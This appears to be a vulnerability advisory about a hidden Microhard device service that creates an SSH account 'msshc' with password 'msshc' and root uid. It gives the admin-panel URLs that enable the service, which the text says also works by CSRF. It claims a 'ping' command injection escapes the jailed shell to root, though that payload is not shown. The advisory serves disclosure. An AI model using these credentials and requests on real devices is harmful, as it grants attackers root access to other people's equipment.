Desc: The web shell application includes a service called Microhard Sh that is documented
only as 'reserved for internal use'. This service can be enabled by an authenticated
user within the Services menu in the web admin panel. This can also be enabled via CSRF
attack. When the service is enabled, a user 'msshc' is created on the system with password
'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP
jailed environment, that has limited commands for file transfer administration. One of the
commands is a custom added 'ping' command that has a command injection vulnerability that
allows the attacker to escape the restricted environment and enter into a root shell terminal
that can execute commands as the root user. 

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)

--


1) Enable Microhard Sh service:
-------------------------------

http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start)


2) Check what happens when enabling Microhard Sh service:
---------------------------------------------------------

# cat /etc/init.d/msshc
#!/bin/sh /etc/rc.common
# Copyright (C) 2013 Microhardcorp

start() {
  deluser msshc
  rm -rf /tmp/msshc
  mkdir -p /tmp/msshc
  msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh")
  [ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells
  passwd=$(/sbin/uci get msshc.general.passwd)
  echo "$passwd" >> /etc/passwd
}

stop() {
  deluser msshc
  rm -rf /tmp/msshc
}


3) Check the /etc/msshc.sh script:
----------------------------------

# cat /etc/msshc.sh
#!/bin/sh 
# Copyright (C) 2013 Microhardcorp

/usr/bin/ncftp

exit 0


4) Check the /sbin/uci binary:
------------------------------

Usage: /sbin/uci [<options>] <command> [<arguments>]

Commands:
    batch
    export     [<config>]
    import     [<config>]
    changes    [<config>]
    commit     [<config>]
    add        <config> <section-type>
    add_list   <config>.<section>.<option>=<string>
    show       [<config>[.<section>[.<option>]]]
    get        <config>.<section>[.<option>]
    set        <config>.<section>[.<option>]=<value>
    delete     <config>[.<section[.<option>]]
    rename     <config>.<section>[.<option>]=<name>
    revert     <config>[.<section>[.<option>]]

Options:
    -c <path>  set the search path for config files (default: /etc/config)
    -d <str>   set the delimiter for list values in uci show
    -f <file>  use <file> as input instead of stdin
    -L         do not load any plugins
    -m         when importing, merge data into an existing package
    -n         name unnamed sections on export (default)
    -N         don't name unnamed sections
    -p <path>  add a search path for config change files
    -P <path>  add a search path for config change files and use as default
    -q         quiet mode (don't print error messages)
    -s         force strict mode (stop on parser errors, default)
    -S         disable strict mode
    -X         do not use extended syntax on 'show'

# /sbin/uci get msshc.general.passwd
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh


5) Check the NcFTP binary:
--------------------------

# /usr/bin/ncftp -h

Usage:  ncftp [flags] [<host> | <directory URL to browse>]

Flags:
  -u XX  Use username XX instead of anonymous.
  -p XX  Use password XX with the username.
  -P XX  Use port number XX instead of the default FTP service port (21).
  -j XX  Use account XX with the username (rarely needed).
  -F     Dump a sample $HOME/.ncftp/firewall prefs file to stdout and exit.
